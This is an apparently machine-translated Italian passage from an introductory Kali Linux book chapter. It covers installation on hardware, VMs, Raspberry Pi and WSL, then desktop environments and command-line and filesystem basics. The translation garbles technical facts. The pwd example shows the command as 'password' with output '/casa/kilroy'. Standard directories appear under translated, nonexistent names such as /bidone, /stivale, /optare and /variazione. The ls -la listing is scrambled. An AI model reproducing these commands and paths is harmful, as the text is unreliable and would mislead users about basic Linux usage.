Figura 1-1. Schermata di avvio per Kali Linux
Che tu esegua dal DVD o installi su un disco rigido dipende interamente da
te. Se esegui l'avvio da DVD e non hai una directory home memorizzata su
un supporto scrivibile, non sarai in grado di mantenere nulla da un avvio
all'altro. Se non hai un supporto scrivibile su cui memorizzare le
informazioni, ripartirai completamente da zero ogni volta che esegui
l'avvio. Questo ha dei vantaggi se non vuoi lasciare traccia di ciò che hai
fatto mentre il sistema operativo era in esecuzione. Se personalizzi o vuoi
mantenere le chiavi SSH o altre credenziali memorizzate, dovrai installare
su un supporto locale.
L'installazione di Kali è semplice. Non hai le opzioni che hanno altre
distribuzioni. Non selezionerai categorie di pacchetti. Kali ha un set definito
di pacchetti che vengono installati. Puoi aggiungerne altri o toglierne
alcuni, ma inizi con un set abbastanza completo di strumenti per test di
sicurezza o analisi forense. Ciò che devi configurare è selezionare un disco
su cui installare e partizionarlo e formattarlo. Devi anche configurare la
rete, incluso il nome host e se stai utilizzando un indirizzo statico anziché il
Dynamic Host Configuration Protocol (DHCP). Dopo averlo configurato e
impostato il tuo fuso orario, così come alcune altre impostazioni di
configurazione fondamentali, i pacchetti verranno aggiornati e sarai pronto
per avviare Linux.
Macchine virtuali
L'approccio descritto può funzionare molto bene su una macchina
dedicata. Le macchine dedicate possono essere costose. Anche le
macchine low-cost costano qualcosa; poi c'è lo spazio e la potenza
necessari per far funzionare la macchina. In alcuni casi, potrebbe essere
necessario il raffreddamento, a seconda dell'hardware in uso.
Fortunatamente, Kali non richiede hardware proprio. Funziona bene
all'interno di una VM. Se intendi sperimentare con i test di sicurezza, e in
particolare con i test di penetrazione, avviare un laboratorio virtuale non è
una cattiva idea. Ho scoperto che Kali funziona abbastanza bene con 4 GB
di memoria con circa 20 GB di spazio su disco. Se vuoi archiviare molti
artefatti dai tuoi test, potresti volere ulteriore spazio su disco. Dovresti
riuscire a cavartela con 2 GB di memoria per le attività di base, ma
ovviamente, più memoria puoi risparmiare, migliori saranno le prestazioni.
Alcuni programmi richiederanno più memoria per funzionare in modo
efficace.
Puoi scegliere tra molti hypervisor a seconda del sistema operativo host.
VMware ha hypervisor sia per Mac che per PC. Parallels funzionerà su Mac.
VirtualBox , d'altro canto, funzionerà su PC, Mac, sistemi Linux e persino
Solaris. VirtualBox esiste dal 2007 ma è stato acquisito da
Sun Microsystems nel 2008. Poiché Sun è stata acquisita da Oracle,
VirtualBox è attualmente gestito da Oracle. Indipendentemente da chi lo
gestisce, VirtualBox è gratuito da scaricare e utilizzare. Se stai appena
iniziando nel mondo delle VM, questo potrebbe essere il posto giusto per
te. Ogni hypervisor funziona in modo leggermente diverso in termini di
interazione con gli utenti: chiavi diverse per uscire dalla VM. Diversi livelli
di interazione con il sistema operativo. Supporto diverso per i sistemi
operativi guest, poiché l'hypervisor deve fornire i driver per il guest. Alla
fine, si riduce a quanto vuoi spendere e a quale di questi ti senti a tuo agio
nell'utilizzare.
NOTA
Come punto di possibile interesse, o almeno di collegamento, uno degli sviluppatori principali di BSD
era Bill Joy, che era uno studente laureato presso l'Università della California a Berkeley. Joy fu
responsabile della prima implementazione di TCP/IP in Berkeley Unix. Divenne uno dei fondatori di
Sun Microsystems nel 1982 e mentre era lì scrisse un articolo su un linguaggio di programmazione
migliore di C++, che servì da ispirazione per la creazione di Java.
Una considerazione riguarda gli strumenti forniti dall'hypervisor. Gli
strumenti sono driver che vengono installati nel kernel per integrarsi
meglio con il sistema operativo host. Ciò può includere driver di stampa,
driver per condividere il file system dall'host al guest e un migliore
supporto video. VMware può utilizzare gli strumenti VMware che sono
open source e disponibili nel repository Kali Linux. Puoi anche ottenere gli
strumenti VirtualBox dal repository Kali. Parallels, d'altro canto, fornisce i
propri strumenti. Un vantaggio nell'utilizzare VMware è che i driver open
source sono disponibili nella maggior parte, se non in tutte, le distribuzioni
Linux. In passato ho avuto alcuni problemi con l'installazione di Parallels
Tools in alcune versioni di Linux, anche se in genere mi piace Parallels. Se
non vuoi ridimensionare automaticamente la visualizzazione nella VM Kali
o condividere documenti tra la macchina host e la VM guest, potresti non
interessarti a nessuno degli strumenti VM.
Calcolo a basso costo
Se preferisci non fare un'installazione da zero ma sei interessato a usare
una VM, puoi scaricare un'immagine VMware o VirtualBox. Kali fornisce
supporto non solo per ambienti virtuali ma anche per dispositivi basati su
Advanced RISC Machine (ARM) come Raspberry Pi e BeagleBone. Il
vantaggio di usare le immagini VM è che ti fa partire e funzionare più
velocemente. Non devi perdere tempo per fare l'installazione. Invece,
scarichi l'immagine e la carichi nell'hypervisor che hai scelto e sei pronto e
funzionante. Se scegli di usare una VM preconfigurata, puoi trovare le
immagini sul sito di Kali .
Un'altra opzione a basso costo per eseguire Kali Linux è un Raspberry Pi. Il
Pi è un computer molto economico e di piccole dimensioni. Puoi, tuttavia,
scaricare un'immagine specifica per il Pi. Il Pi non utilizza un processore
Intel o AMD come vedresti sulla maggior parte dei sistemi desktop. Invece,
utilizza un processore ARM. Questi processori utilizzano un set di istruzioni
più piccolo e consumano meno energia rispetto ai processori che
normalmente vedresti nei computer desktop. Il Pi è disponibile come una
scheda molto piccola che sta nel palmo della tua mano. Puoi ottenere più
case in cui inserire la scheda e quindi equipaggiarla con tutte le periferiche
che desideri, come una tastiera, un mouse e un monitor.
Uno dei vantaggi del Pi è che può essere utilizzato in attacchi fisici,
considerando le sue piccole dimensioni. Puoi installare Kali sul Pi e lasciarlo
in una posizione in cui stai eseguendo il test, ma richiede alimentazione e
una sorta di connessione di rete. Il Pi ha una connessione Ethernet
integrata, un'interfaccia WiFi integrata e porte USB. Una volta che hai
installato Kali, puoi eseguire attacchi locali da remoto accedendo al tuo Pi
dall'interno della rete. Ne parleremo più avanti.
Sottosistema Windows per Linux
Molte persone usano Windows come sistema operativo primario e
giustamente, considerando la sua utilità per la maggior parte delle attività
desktop. Mentre le VM sono un modo per ottenere Linux su qualsiasi
sistema,
Windows ha un modo più diretto per installare Linux. Nel 2016, Windows
ha rilasciato Windows Subsystem for Linux (WSL). Questa funzionalità era
un modo per eseguire i binari Executable and Linkable Format (ELF) che
sono il formato eseguibile predefinito per Linux direttamente su Windows.
Ci sono state due versioni di WSL. La prima era un modo per implementare
le chiamate di sistema Linux direttamente nel kernel di Windows. Poiché
l'architettura hardware non è in gioco, poiché sia Windows che gli
eseguibili Linux sono basati sull'architettura del processore Intel, la
considerazione più importante è il modo in cui il kernel Linux gestisce
l'hardware. Ciò avviene tramite chiamate di sistema. Le chiamate di
sistema in Windows sono diverse da quelle in Linux. L'implementazione
delle chiamate di sistema di Linux in Windows è un passo importante per
consentire agli eseguibili Linux di essere eseguiti quasi in modo nativo su
Windows.
Più di recente, Microsoft ha modificato l'implementazione. Le versioni
desktop di Windows ora includono un hypervisor leggero, che è
un'implementazione di Hyper-V, precedentemente disponibile come
hypervisor nativo sui server Windows. WSL è ora implementato utilizzando
un kernel Linux in esecuzione in una macchina Hyper-V. Le applicazioni
Linux effettuano chiamate dirette al kernel Linux anziché chiamare il kernel
Windows. Uno dei motivi è che alcune delle chiamate di sistema Linux
sono diventate difficili da implementare in Windows. L'implementazione di
WSL in un ambiente virtualizzato fornisce isolamento in modo che le
applicazioni Linux non possano avere un impatto sulle applicazioni
Windows perché vengono eseguite in spazi di memoria separati.
Installare WSL è facile. Utilizzando la riga di comando, che si tratti di
PowerShell o del vecchio Command Processor, esegui wsl --install . Puoi
vedere nella Figura 1-2 che Windows installerà una versione del kernel di
Ubuntu per impostazione predefinita. Se hai già installato una versione
precedente di WSL, puoi convertirla in WSL2 utilizzando wsl --upgrade . Ti
verrà detto se stai eseguendo una versione precedente quando proverai a
fare molto con WSL, ma puoi anche controllare in modo proattivo
utilizzando wsl -l -v da una finestra di PowerShell o del prompt dei
comandi. Una volta installato l'ambiente, puoi avviarlo dal menu di
Windows. L'ambiente Ubuntu predefinito sarà denominato Ubuntu nel
menu.
Figura 1-2. Installazione di WSL in PowerShell
Non vogliamo Ubuntu, però. Vogliamo Kali. Puoi trovare Kali nell'app
Microsoft Store. Se cerchi Kali, lo vedrai proprio come nella Figura 1-3 .
Tuttavia, installarlo non installa effettivamente l'intera distribuzione.
Installa la capacità di eseguire Kali Linux. Aprendo Kali Linux per la prima
volta in Windows verrà installata l'immagine insieme alla configurazione
utente che ti verrà richiesta. Ti verrà chiesto un nome utente e una
password. Quando eseguirai Kali Linux in seguito, verrai automaticamente
loggato in una shell della riga di comando.
Figura 1-3. Kali Linux nel Microsoft Store
L'immagine di base di Kali in WSL è molto piccola. Non c'è molto installato.
Un grande vantaggio dell'utilizzo di WSL2 è la possibilità di eseguire
applicazioni grafiche direttamente in Windows. Non è sempre stato così. Si
potevano eseguire programmi da riga di comando in Windows, ma
l'esecuzione di programmi grafici richiedeva un altro software per ospitare
tali programmi grafici. Oggi, Windows include la funzionalità per ospitare
tali programmi grafici. Per questo motivo, probabilmente vorrai installare
alcuni metapacchetti per ottenere programmi aggiuntivi. Per iniziare,
potresti volere kali -linux-default . Installerà centinaia di pacchetti
aggiuntivi che ti aiuteranno a iniziare. Non avrai un desktop grafico
completo, ma puoi eseguire programmi grafici direttamente su Windows.
Puoi vederlo nella Figura 1-4 , dove Ettercap è in esecuzione come
programma grafico da Linux sul desktop di Windows.
Figura 1-4. Ettercap in esecuzione sul desktop Windows
WSL ha alcune limitazioni. Lo sentirai soprattutto se intendi fare test
wireless. Avrai bisogno di un sistema fisico o di un sistema virtuale
attraverso cui puoi passare un'interfaccia.
Con così tante opzioni per iniziare, dovrebbe essere facile ottenere
un'installazione in fretta. Una volta che l'installazione è in funzione, vorrai
familiarizzare con l'ambiente desktop, se stai usando un'opzione che ha un
ambiente desktop, così puoi iniziare a diventare produttivo.
Desktop
Passerai molto tempo a interagire con l'ambiente desktop, quindi potresti
anche procurarti qualcosa con cui ti sentirai a tuo agio. A differenza dei
sistemi operativi proprietari come Windows e macOS, Linux ha più
ambienti desktop. Kali supporta quelli più popolari dal proprio repository
senza dover aggiungere repository aggiuntivi. Se l'ambiente desktop
installato di default non ti soddisfa, sostituirlo è facile. Poiché
probabilmente passerai molto tempo nell'ambiente, vorrai davvero non
solo sentirti a tuo agio, ma anche produttivo. Ciò significa trovare
l'ambiente e i set di strumenti giusti per te.
Desktop Xfce
L'ambiente desktop predefinito su Kali in questo momento a metà del
2023 è Xfce . È spesso un ambiente desktop alternativo popolare, anche se
non spesso uno predefinito. Uno dei motivi per cui è stato popolare è che
è stato progettato per essere abbastanza leggero per un ambiente desktop
completo e, di conseguenza, è più reattivo. Molti utenti Linux hardcore
che ho conosciuto nel corso degli anni hanno gravitato verso Xfce come
loro ambiente preferito, se avevano bisogno di un ambiente desktop.
Ancora una volta, il motivo è che ha un design semplice che è altamente
configurabile. Nella Figura 1-5 , puoi vedere una configurazione di base di
Xfce. Il pannello nella parte inferiore del desktop è completamente
configurabile. Puoi cambiare dove si trova e come si comporta e
aggiungere o rimuovere elementi come ritieni opportuno, in base a come
preferisci lavorare. Questo pannello include un menu delle applicazioni
con tutte le stesse cartelle o categorie che si trovano nel menu GNOME.
Figura 1-5. Desktop Xfce che mostra il menu delle applicazioni
Sebbene Xfce sia basato su GNOME Toolkit (GTK), non è un fork di GNOME.
È stato sviluppato su una versione precedente di GTK. L'intenzione era di
creare qualcosa di più semplice rispetto alla direzione intrapresa da
GNOME. Xfce era pensato per essere più leggero e, di conseguenza, avere
prestazioni migliori. La sensazione era che il desktop non dovesse
intralciare il vero lavoro che gli utenti vogliono fare.
Proprio come con Windows, se è quello con cui hai più familiarità, ottieni
un menu delle applicazioni con scorciatoie ai programmi che sono stati
installati. Invece di essere suddivisi in gruppi in base al fornitore del
software o al nome del programma, i programmi sono presentati in gruppi
in base alla funzionalità. Le categorie presentate e quelle trattate nel corso
di questo libro sono le seguenti:
Raccolta di informazioni
Analisi della vulnerabilità
Analisi delle applicazioni Web
Valutazione del database
Attacchi alle password
Attacchi wireless
Ingegneria inversa
Strumenti di sfruttamento
Sniffing e Spoofing
Post-sfruttamento
Scienze forensi
Strumenti di segnalazione
Strumenti di ingegneria sociale
Servizi di sistema
Accanto al menu c'è un set di launcher, molto simili ai quick launcher che
puoi trovare in Windows sulla barra dei menu. Xfce imposta anche quattro
desktop virtuali di default. Puoi vederli come caselle numerate sulla barra
dei menu. Ognuno di questi desktop virtuali può essere uno spazio in cui
puoi tenere le applicazioni in esecuzione. È un modo per avere posti
separati per mantenere il tuo desktop meno disordinato.
Desktop GNOME
GNOME è stato un ambiente desktop predefinito su diversi
Distribuzioni Linux. È disponibile come opzione su Kali Linux. Questo
ambiente desktop faceva parte del progetto GNU (GNU's Not Unix,
acronimo ricorsivo). Red Hat è stato un importante contributore aziendale
e utilizza il desktop GNOME come interfaccia primaria per le distribuzioni
che controlla, così come Ubuntu e diverse altre distribuzioni. La figura 1-6
mostra l'ambiente desktop con il menu principale espanso.
Figura 1-6. Desktop GNOME per Kali Linux
Il menu principale è accessibile dal menu Applicazioni nella barra in alto. È
minimamente configurabile tramite il programma Tweaks , principalmente
in relazione all'orologio e al calendario. Inoltre, il menu Luoghi ti consentirà
di aprire un file explorer che mostra i contenuti delle posizioni nel menu
Luoghi. Ad esempio, Home e Documenti sono due posizioni. Se selezioni
uno dei due, otterrai un file explorer aperto nella tua directory home o
nella directory Documenti all'interno della tua directory home. Sul lato
sinistro del pannello superiore, puoi aprire il gestore desktop virtuale.
Insieme al menu nel pannello superiore, c'è un dock nella parte inferiore,
molto simile a macOS. Il dock include applicazioni comunemente utilizzate
come Terminale, Firefox, Metasploit, Wireshark, Burp Suite e File.
Cliccando una volta su una delle icone si avvia l'applicazione. Puoi
aggiungere launcher a questo dock trascinandoli fuori dall'elenco delle
applicazioni. Puoi farlo cliccando sul riquadro con nove quadrati sul lato
destro del dock. Fa apparire le applicazioni installate sul sistema, mostrate
in ordine alfabetico, come puoi vedere nella Figura 1-7 . Le applicazioni nel
dock per iniziare vengono visualizzate anche come preferite nel menu
Applicazioni accessibile dal pannello superiore. Mentre la barra delle
applicazioni di Windows si estende per tutta la larghezza dello schermo, il
dock in GNOME e macOS è largo solo quanto basta per memorizzare le
icone che sono state impostate per persistere lì, più quelle per l'esecuzione
delle applicazioni.
Figura 1-7. Elenco delle applicazioni GNOME
NOTA
Il dock in macOS deriva dall'interfaccia nel sistema operativo NeXTSTEP, che è stato progettato per il
NeXT Computer. Questo è il computer per il quale Steve Jobs ha fondato un'azienda per progettare e
costruire dopo essere stato costretto a lasciare Apple negli anni '80. Molti degli elementi
dell'interfaccia utente (UI) di NeXTSTEP sono stati incorporati nell'UI di macOS quando Apple ha
acquistato NeXT. Per inciso, NeXTSTEP è stato costruito sopra un sistema operativo BSD, motivo per
cui macOS ha Unix sotto il cofano se si apre una finestra di terminale.
Accesso tramite Desktop Manager
Sebbene GNOME sia l'ambiente desktop predefinito, altri sono disponibili
senza troppa fatica. Se hai installato più ambienti desktop, potrai
selezionarne uno nel gestore display quando effettui l'accesso. Per prima
cosa, devi inserire il tuo nome utente in modo che il sistema possa
identificare l'ambiente predefinito che hai configurato. Questo potrebbe
essere l'ultimo in cui hai effettuato l'accesso. La Figura 1-8 mostra gli
ambienti che posso selezionare da uno dei miei sistemi Kali Linux.
Figura 1-8. Selezione del desktop all'accesso
Nel corso degli anni sono emersi numerosi display manager. Inizialmente,
la schermata di login era qualcosa che forniva il gestore di finestre X, ma
sono stati sviluppati altri display manager, espandendone le capacità. Uno
dei vantaggi di LightDM è che è considerato leggero. Ciò può essere
particolarmente rilevante se si lavora su un sistema con meno risorse come
memoria e processore.
Cannella e MATE
Anche altri due desktop, Cinnamon e MATE, devono le loro origini a
GNOME. I responsabili di Linux Mint non erano sicuri di GNOME 3 e della
sua shell GNOME, l'interfaccia desktop che lo accompagnava. Di
conseguenza, svilupparono Cinnamon , che inizialmente era solo una shell
appoggiata su GNOME. La seconda versione di Cinnamon divenne un
ambiente desktop a sé stante. Uno dei vantaggi di Cinnamon è che ha una
forte somiglianza con Windows in termini di dove si trovano le cose e come
ci si muove. Si può vedere che c'è un pulsante Menu in basso a sinistra,
molto simile al pulsante Windows, così come un orologio e altri widget di
sistema a destra della barra dei menu o del pannello ( Figura 1-9 ). Di
nuovo, il menu è proprio come quello che si vede in GNOME e Xfce.
Figura 1-9. Desktop Cinnamon con menu
Come ho suggerito, c'erano preoccupazioni su GNOME 3 e sul
cambiamento nell'aspetto e nel comportamento del desktop. Qualcuno
potrebbe dire che questo è un eufemismo e il ritorno di alcune
distribuzioni ad altri aspetti potrebbe essere considerato una prova di ciò.
Ciò include l'ultima implementazione di GNOME in Kali Linux.
Indipendentemente da ciò, Cinnamon è stata una risposta a GNOME 3,
creando un'interfaccia desktop che si basava sull'architettura GNOME 3
sottostante. MATE , d'altra parte, è un fork vero e proprio di GNOME 2. Per
chiunque abbia familiarità con GNOME 2, MATE sembrerà familiare. È
un'implementazione dell'aspetto classico di GNOME 2. Puoi vederlo in
esecuzione su Kali nella Figura 1-10 . Di nuovo, il menu è mostrato in modo
che tu possa vedere che otterrai lo stesso facile accesso alle applicazioni in
tutti gli ambienti. Mentre Xfce, Cinnamon, GNOME e altri ambienti desktop
hanno evoluto il loro aspetto nel corso del tempo, MATE continua ad avere
un aspetto pressoché identico, nella sua implementazione Kali, a quello
che aveva quando è stato rilasciato per la prima volta.
Figura 1-10. Desktop MATE con il suo menu
La scelta dell'ambiente desktop è del tutto personale. Un desktop che ho
tralasciato qui ma che è ancora una buona opzione è il K Desktop
Environment (KDE). Ci sono due motivi per questo. Primo, ho sempre
trovato KDE abbastanza pesante, anche se questo ha livellato un po' con
GNOME 3 e i molti pacchetti che porta con sé. KDE non è mai sembrato
veloce come GNOME e certamente Xfce. Tuttavia, piace a molte persone.
Secondo, ho omesso un'immagine perché assomiglia ad alcune versioni di
Windows e ad alcuni dei desktop Linux alternativi. Uno degli obiettivi
dietro KDE è sempre sembrato quello di clonare l'aspetto e le sensazioni di
Windows in modo che gli utenti provenienti da quella piattaforma si
sentissero a proprio agio.
Se vuoi davvero iniziare a usare Kali e a lavorarci, potresti voler passare un
po' di tempo a giocare con i diversi ambienti desktop. È importante che tu
ti senta a tuo agio e che tu riesca a muoverti in modo efficiente
nell'interfaccia. Se hai un ambiente desktop che ti intralcia o è difficile da
usare, probabilmente non è adatto a te. Puoi provarne un altro. È
abbastanza facile installare altri ambienti. Quando arriveremo alla gestione
dei pacchetti un po' più avanti, imparerai come installare altri pacchetti e,
di conseguenza, gli ambienti desktop. Potresti anche scoprire alcuni
ambienti desktop che non sono inclusi in questa discussione.
Utilizzo della riga di comando
Nel corso di questo libro scoprirai che ho una grande predilezione per la
riga di comando. Ci sono molte ragioni per questo. Per prima cosa, ho
iniziato a lavorare nell'informatica quando i terminali non avevano quello
che chiamiamo schermi interi . E certamente non avevamo ambienti
desktop. In tutta onestà, il mio primo accesso a un computer è stato su un
telescrivente senza alcuno schermo. Quando avevamo uno schermo,
mostrava principalmente righe di comando. Di conseguenza, mi sono
abituato a digitare. Quando ho iniziato sui sistemi Unix, tutto ciò che avevo
era una riga di comando, quindi ho dovuto abituarmi al set di comandi
disponibile lì. Un altro motivo per cui è meglio sentirsi a proprio agio con la
riga di comando è che non sempre si può ottenere un'interfaccia utente.
Potresti lavorare da remoto e connetterti tramite una rete. Questo
potrebbe farti ottenere solo programmi da riga di comando senza ulteriore
lavoro. Quindi, fare amicizia con la riga di comando è utile.
Un altro motivo per abituarsi alla riga di comando e alle posizioni degli
elementi del programma è che i programmi GUI potrebbero avere dei
fallimenti o potrebbero tralasciare dettagli che potrebbero essere utili. Ciò
potrebbe essere particolarmente vero per alcuni strumenti di sicurezza o
forensi. Ad esempio, preferisco di gran lunga usare The Sleuth Kit (TSK),
una raccolta di programmi a riga di comando, rispetto all'interfaccia basata
sul Web, Autopsy, che è più visiva. Poiché Autopsy si trova sopra TSK, è solo
un modo diverso di guardare le informazioni che TSK è in grado di
generare. La differenza è che con Autopsy non ottieni tutti i dettagli,
specialmente quelli di livello abbastanza basso. Se stai solo imparando a
eseguire attività, capire cosa sta succedendo potrebbe essere molto più
utile che imparare una GUI. Le tue competenze e conoscenze saranno
molto più trasferibili ad altre situazioni e strumenti. Quindi, c'è anche
quello.
Un'interfaccia utente è spesso chiamata shell . Questo è vero sia che ci si
riferisca al programma che gestisce il desktop o al programma che accetta i
comandi digitati in una finestra di terminale. La shell predefinita in Linux è
da tempo la Bourne Again Shell (bash) nella maggior parte delle
distribuzioni. Questo è un gioco di parole sulla Bourne Shell, che è stata
una delle prime e più longeve shell. Tuttavia, la Bourne Shell aveva delle
limitazioni e delle funzionalità mancanti. Di conseguenza, nel 1989, è stata
rilasciata la Bourne Again Shell. Da allora è diventata la shell comune nelle
distribuzioni Linux. Ci sono due tipi di comandi che eseguirai sulla riga di
comando. Uno è chiamato built-in . Questa è una funzione della shell
stessa e non richiama nessun altro programma: la shell lo gestisce. L'altro
comando che eseguirai è un programma che si trova in una directory. La
shell ha un elenco di directory in cui sono conservati i programmi che viene
fornito (e configurabile) tramite una variabile di ambiente.
Attualmente, la shell predefinita in Kali Linux è la shell Z (zsh) . Questa shell
è basata su bash ma include molti miglioramenti. Per la maggior parte, non
noterai molte differenze e, certamente, quando si tratta di eseguire
comandi, non c'è alcuna differenza. La shell zsh include molte opzioni di
personalizzazione, in particolare quando si tratta del completamento della
riga di comando e di come viene rappresentato il prompt. Il prompt
predefinito in Kali che utilizza zsh è mostrato nella Figura 1-11 .
Figura 1-11. Prompt zsh
NOTA
Tieni presente che Unix è stato sviluppato da programmatori per programmatori. Il punto era creare
un ambiente che fosse sia comodo che utile per i programmatori che lo utilizzavano. Di conseguenza,
la shell è, più di ogni altra cosa, un linguaggio di programmazione e un ambiente. Ogni shell ha una
sintassi diversa per le istruzioni di controllo che usa, ma puoi creare un programma direttamente sulla
riga di comando perché, come linguaggio di programmazione, la shell sarà in grado di eseguire tutte le
istruzioni.
In breve, passeremo un po' di tempo con la riga di comando perché è dove
è iniziato Unix ed è anche potente. Per iniziare, vorrai andare in giro per il
filesystem e ottenere elenchi di file, inclusi dettagli come i permessi. Altri
comandi utili sono quelli che gestiscono processi e utilità generali.
Gestione di file e directory
Per iniziare, parliamo di come far sì che la shell ti dica la directory in cui ti
trovi attualmente. Questa è chiamata directory di lavoro . Per ottenere la
directory di lavoro, quella in cui ci troviamo attualmente dalla prospettiva
della shell, utilizziamo il comando pwd , che è l'abbreviazione di print
working directory . Nell'esempio 1-1 , puoi vedere il prompt, che termina
con $, indicando in genere un utente normale. Se il prompt terminasse
con #, indicherebbe un superutente o un utente root. Il $ termina il
prompt, che è seguito dal comando che viene immesso ed eseguito.
Questo è seguito sulla riga successiva dai risultati, o output, del comando.
Esempio 1-1. Stampa della directory di lavoro
┌──(kilroy@badmilo)-[~]
└─$ password
/casa/kilroy
NOTA
Quando arrivi al punto in cui hai più macchine, fisiche o virtuali, potresti trovare interessante avere un
tema per i nomi dei tuoi sistemi. Ho conosciuto persone che hanno chiamato i loro sistemi con i nomi
dei personaggi di The Hitchhiker's Guide to the Galaxy , per esempio. Ho anche visto monete, pianeti e
vari altri temi. Da anni ormai, i miei sistemi sono stati chiamati con i nomi dei personaggi di Bloom
County . Il sistema Kali qui è chiamato così per Milo Bloom.
Una volta che sappiamo dove ci troviamo nel file system, che inizia sempre
dalla directory radice (/) e, quando mostrato visivamente, sembra la radice
di un albero, possiamo ottenere un elenco di file e directory. Scoprirai che i
comandi Unix/Linux spesso usano un numero minimo di caratteri. Per
ottenere elenchi di file, il comando è ls . Sebbene ls sia utile, elenca solo i
nomi di file e directory. Potresti volere ulteriori dettagli sui file, inclusi orari
e date, nonché permessi. Puoi vedere quei risultati usando il comando ls la . L (ell) specifica un elenco lungo , inclusi i dettagli. A specifica che ls
dovrebbe mostrare tutti i file, inclusi i file che altrimenti sono nascosti. Puoi
vedere l'output nell'Esempio 1-2 .
Esempio 1-2. Ottenere un elenco lungo
┌──(kilroy@badmilo)-[~] └─$ ls -la totale 192
drwx------ 19 kilroy kilroy 4096 17 giu 18:54 .
drwxr-xr-x 3 root root 4096 3 giu 07:17 . -rw-r-r-- 1 kilroy kilroy 220 3 giu 07:17 .b
-rw-r--r-- 1 kilroy kilroy 5551 3 giugno 07:17
.b -rw-r--r-- 1 kilroy kilroy 3526 3 giugno
07:17 .b drwxr-xr-x 8 kilroy kilroy 4096 giugno
3 18:24 .c drwxr-xr-x 13 kilroy kilroy 4096 13
giugno 17:37 .c drwxr-xr-x 2 kilroy kilroy 4096
3 giugno 07:26 De -rw-r--r-- 1 kilroy kilroy 35
3 giugno 07:44 .d drwxr-xr- x 2 kiloroy kiloroy
4096 3 giu 07:26 Fai drwxr-xr-x 5 kilroy kilroy
4096 12 giu 19:21 Fai -rw-r--r-- 1 kilroy kilroy
11759 3 giu 07:17 .f lrwxrwxrwx 1 kilroy kilroy
5 3 giu 07 :17 .f drwx------ 3 kilroy kilroy
4096 3 giu 07:26 .g -rw------- 1 kilroy kilroy 0
3 giu 07:26 .I drwxr-xr-x 3 kilroy kilroy 4096
11 giu 19:25 .i drwxr-xr-x 4 kilroy kilroy 4096
11 giugno 12:04 .j -rw------- 1 kilroy kilroy 34
17 giugno 18:53 .l drwxr-xr-x 4 kilroy kilroy
4096 3 giugno 07:26 .l drwx----- - 4 kiloroy
kiloroy 4096 3 giugno 18:24 .m drwxr-xr-x 2
kilroy kilroy 4096 3 giugno 07:26 Mu -rw-r--r-1 kilroy kilroy 33 17 giugno 18:54 my drwxr-xr-x
2 kilroy kilroy 4096 3 giugno 07:26 Pi -rw-r--r- 1 kiloroy kiloroy 807 3 giu 07:17 .p drwxr-xrx 2 kilroy kilroy 4096 3 giu 07:26 Pu -rw-r--r-1 kilroy kilroy 37 3 giu 18:28 pw
-rw-r--r-- 1 kilroy kilroy 28672 17 giugno 15:51
.s -rw-r--r-- 1 kilroy kilroy 0 3 giugno 07:26 .s
drwxr-xr-x 2 kilroy kilroy 4096 giugno 3 07:26 Te
drwxr-xr-x 2 kilroy kilroy 4096 3 giugno 07:26 Vi
-rw------- 1 kilroy kilroy 948 17 giugno 18:54 .v
drwxr-xr-x 3 kilroy kilroy 4096 11 giugno 12:02 .w
-rw---- --- 1 kiloroy kiloroy 52 13 giugno 17:23
.X
-rw------- 1 kilroy kilroy 5960 17 giu 18:36 .x rw------- 1 kilroy kilroy 5385 12 giu 19:23 .x
drwxr-xr-x 20 kilroy kilroy 4096 giu 11 13:55 .Z
-rw------- 1 kilroy kilroy 2716 14 giu 18:47 .z
-rw-r--r-- 1 kilroy kilroy 10868 3 giu 07:17 .z
Iniziando dalla colonna di sinistra, puoi vedere i permessi. Unix ha un
semplice set di permessi. Ogni file o directory ha un set di permessi che
sono associati al proprietario dell'utente, poi un set di permessi associati
al gruppo che possiede il file e infine un set di permessi che appartengono
a tutti gli altri, denominati mondo . Le directory sono indicate con una d
nella primissima posizione. Gli altri permessi disponibili sono lettura,
scrittura ed esecuzione. Nei sistemi operativi simili a Unix, un programma
ottiene il bit di esecuzione impostato per determinare se è eseguibile.
Questo è diverso da Windows, dove un'estensione di file può effettuare
tale determinazione. Il bit eseguibile determina non solo se un file è
eseguibile, ma anche chi può eseguirlo, a seconda della categoria in cui è
impostato il bit di esecuzione (utente, gruppo, mondo).
STRUTTURA DEL FILESYSTEM LINUX
Il filesystem Linux, proprio come il filesystem Unix prima di lui, ha un layout
comune. Non importa quanti dischi hai installato nel tuo sistema, tutto
cadrà sotto / (la cartella radice). Le directory comuni in un sistema Linux
sono le seguenti:
/bidone
Comandi/file binari che devono essere disponibili quando il sistema
viene avviato in modalità monoutente.
/stivale
Dove sono archiviati i file di avvio, tra cui la configurazione del boot
loader, il kernel e tutti i file ramdisk iniziali necessari per avviare il
kernel.
/sviluppo
Uno pseudofilesystem che contiene voci per dispositivi hardware a
cui i programmi possono accedere.
/ecc.
File di configurazione relativi al sistema operativo e ai servizi di
sistema.
/casa
La directory contenente le directory home dell'utente.
/lib
File di libreria che contengono codice e funzioni condivise che
possono essere utilizzate da qualsiasi programma.
/optare
Se facoltativo, viene caricato software di terze parti.
/procedimento
Uno pseudofilesystem che contiene directory contenenti file relativi
ai processi in esecuzione, tra cui mappe di memoria, la riga di
comando utilizzata per eseguire il programma e altre informazioni di
sistema essenziali relative al programma.
/radice
La directory home dell'utente root.
/sbin
File binari di sistema che devono essere disponibili anche in
modalità monoutente.
/tempo
Dove vengono archiviati i file temporanei.
/usr
Dati utente di sola lettura (include le sottodirectory bin , doc , lib ,
sbin e share ).
/variazione
Dati variabili, tra cui informazioni sullo stato dei processi in
esecuzione, file di registro, dati di runtime e altri file temporanei. Si
prevede che tutti questi file cambino in dimensione o esistenza
durante l'esecuzione del sistema.
Puoi anche vedere il proprietario (utente) e il gruppo, entrambi root in
questi casi. Seguono la dimensione del file, l'ultima volta che il file o la
directory è stata modificata e poi il nome del file o della directory. Potresti
notare in alto alcuni file che iniziano con un punto. I file e le directory con
punto memorizzano impostazioni e registri specifici dell'utente. Poiché
sono gestiti dalle applicazioni che li creano, di norma sono nascosti dagli
elenchi di directory regolari.
Il programma touch può essere utilizzato per aggiornare la data e l'ora
modificate al momento in cui touch viene eseguito. Se il file non esiste,
touch creerà un file vuoto con il timestamp modificato e creato impostato
al momento in cui touch è stato eseguito.
Altri comandi relativi a file e directory che saranno davvero utili sono quelli
relativi all'impostazione di permessi e proprietari. Ogni file e directory
ottiene un set di permessi, come indicato in precedenza, e ha un
proprietario e un gruppo. Per impostare i permessi su un file o una
directory, si usa il comando chmod , che può assumere un valore numerico
per ciascuno dei possibili permessi. Vengono usati tre bit, ognuno dei quali
è acceso o spento per indicare se il permesso è impostato o meno. Si può
